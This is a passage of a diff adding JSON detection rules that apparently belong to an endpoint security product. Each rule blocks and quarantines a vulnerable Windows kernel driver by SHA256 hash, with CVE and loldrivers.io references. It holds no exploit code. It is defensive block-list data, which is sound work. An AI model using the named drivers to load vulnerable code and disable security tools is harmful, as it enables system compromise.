+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816898Z",
+  "creation_date": "2026-03-23T11:45:30.816900Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816906Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b44dfe8ea675910799fefab7626993926c04bad32091ece3dbdad5add31a6f15",
+  "comment": "Vulnerable Kernel Driver (aka CP2X72C.SYS) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ad5dc8a5-2939-5264-9160-26080b181598",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618116Z",
+  "creation_date": "2026-03-23T11:45:29.618118Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618123Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "747a4dc50915053649c499a508853a42d9e325a5eec22e586571e338c6d32465",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ad651037-1a8f-5600-bd47-eac407208934",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981129Z",
+  "creation_date": "2026-03-23T11:45:29.981131Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981137Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5d7bfe05792189eaf7193bee85f0c792c33315cfcb40b2e62cc7baef6cafbc5c",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ad67379c-3778-576e-b45c-6ffb795bbd94",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828076Z",
+  "creation_date": "2026-03-23T11:45:31.828078Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828084Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d200394680f969b902951bec3b04794f63b80feee6cbbf596a0dda1693153087",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ad691297-4e28-5fd6-a59e-88e860c5c6b9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835555Z",
+  "creation_date": "2026-03-23T11:45:30.835557Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835563Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d2e56c0054d51b0a3a1493e2bcbe44abac80c783f31377c8896318f9177c3b0b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ad75de23-ef40-5718-abc1-35a86666c845",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827125Z",
+  "creation_date": "2026-03-23T11:45:30.827127Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827132Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f5df280ce9d7e58d1c616dd31b791b6242e760dd08b0ba6ce0a75519ae4e3248",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ad77415c-90d8-504d-9557-3afd64f3b62a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832297Z",
+  "creation_date": "2026-03-23T11:45:30.832299Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832304Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b39e438dd063696dcb010e39f49601c04b06e603c64b65fa5f1653ab0f31cff8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ad7a00b0-f5cc-57f3-808f-b0b8755ba927",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972439Z",
+  "creation_date": "2026-03-23T11:45:29.972441Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972447Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1452103306895429c54ba1735800b8c8694c3165cdef32ca12ed6ce348019292",
+  "comment": "Intel Ethernet diagnostics vulnerable driver (aka iQVW64.sys) [CVE-2015-2291] [https://www.loldrivers.io/drivers/1d2cdef1-de44-4849-80e5-e2fa288df681/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ad832e4c-6586-56c6-b747-6b353cc47f42",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145165Z",
+  "creation_date": "2026-03-23T11:45:31.145167Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145172Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "de7cbbcb95e3079eb3b7afc47410796ef072218ad844e00f154594d0bc9064e4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ad846fc2-ae2d-5079-bb3f-848ec8817bc5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974836Z",
+  "creation_date": "2026-03-23T11:45:29.974837Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974843Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "44120b712e4b5ef3b302f03b7aa61f9f6fe6820d966addbcc43d8e09402e5906",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ad8995f3-7069-5e4f-8a20-32bdb162412f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491831Z",
+  "creation_date": "2026-03-23T11:45:31.491833Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491839Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ff2e6875b1946c037a15d4194e7c4e5551576236577b336997e590244141ff54",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ad8e4eb7-a4aa-5402-a1e2-8fa34145a1da",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829027Z",
+  "creation_date": "2026-03-23T11:45:30.829029Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829034Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4f73a08257789f98459f92c48c8dca7bd1616fb568823f230f17d559c27aee22",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ad8ee40f-268c-5b96-9c9d-2a2fd17d7e65",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621176Z",
+  "creation_date": "2026-03-23T11:45:29.621177Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621183Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1c55b6620216c195ce24ef21e6ab7e181146fccf17c06606c4cd419fe3e45bd7",
+  "comment": "CoreTemp Physmem dangerous drivers (aka ALSYSIO64.sys) [https://www.loldrivers.io/drivers/4d365dd0-34c3-492e-a2bd-c16266796ae5/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ad9142dd-5509-5c3d-857d-fb1db26fd67b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.457245Z",
+  "creation_date": "2026-03-23T11:45:30.457248Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.457257Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "198a4dc1c4bd7eff31ff4d1952a592170b25bfb5fedcd9d5d4c4fd3707337e42",
+  "comment": "Vulnerable Kernel Driver (aka iobitunlocker.sys) [https://www.loldrivers.io/drivers/e368efc7-cf69-47ae-8204-f69dac000b22/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ada923e8-238a-54d0-bec6-ce48fff76c39",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973620Z",
+  "creation_date": "2026-03-23T11:45:29.973621Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973627Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4bc0921ffd4acc865525d3faf98961e8decc5aec4974552cbbf2ae8d5a569de4",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "adb46306-ea15-5618-b8d6-56f05297f3d7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821236Z",
+  "creation_date": "2026-03-23T11:45:31.821239Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821247Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4f44b9c956a98d453454f79d91dbb4e8768d5b671e4a413609e2cd866778d872",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "adc71f6d-2bf8-54d6-bd6b-0adab8d56586",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973982Z",
+  "creation_date": "2026-03-23T11:45:29.973984Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973990Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c9014b03866bf37faa8fdb16b6af7cfec976aaef179fd5797d0c0bf8079d3a8c",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "adc740ca-4e15-5afe-88c0-66643cbde6ca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618305Z",
+  "creation_date": "2026-03-23T11:45:29.618307Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618312Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "df996d5a06a2e2ecc087569358b1957d500b176ec7ed37031bcee440963d9d80",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "adcfe4ca-e716-5ffb-91b4-a3b651fb7a61",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810558Z",
+  "creation_date": "2026-03-23T11:45:31.810560Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810565Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a1150b251622c9ae01cb7c1939f77de16a2543b37d3cb46271f3aadc314310f5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "addbaf10-deb3-55b8-b25b-3671ee03fd11",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.833534Z",
+  "creation_date": "2026-03-23T11:45:30.833537Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.833546Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "22e67a311baf7084390e9a1b32259f687b83cae75d6632be82ed8bf77a4facfe",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ade3e6ff-48cc-5ab3-a065-f8da63c5eedf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817742Z",
+  "creation_date": "2026-03-23T11:45:30.817745Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817753Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7c62a659a4f8fdecfd5a64f4f4391852996db564d123fc5d20e3f3dfb11ed62c",
+  "comment": "Vulnerable Kernel Driver (aka dellbios.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "adedd4e1-a3ab-591a-ade1-5844e56399a1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.456076Z",
+  "creation_date": "2026-03-23T11:45:30.456079Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.456088Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "13d7c729c019c1c5a4b3e9fb27d1dd0b992fb7099f4314e011aafcb3472b7107",
+  "comment": "Vulnerable Kernel Driver (aka HWiNFO32.SYS) [https://www.loldrivers.io/drivers/2225128d-a23f-434a-aaee-69a88ea64fbd/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "adfd0926-734c-5530-adc3-a93f0d39203c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145817Z",
+  "creation_date": "2026-03-23T11:45:31.145819Z",
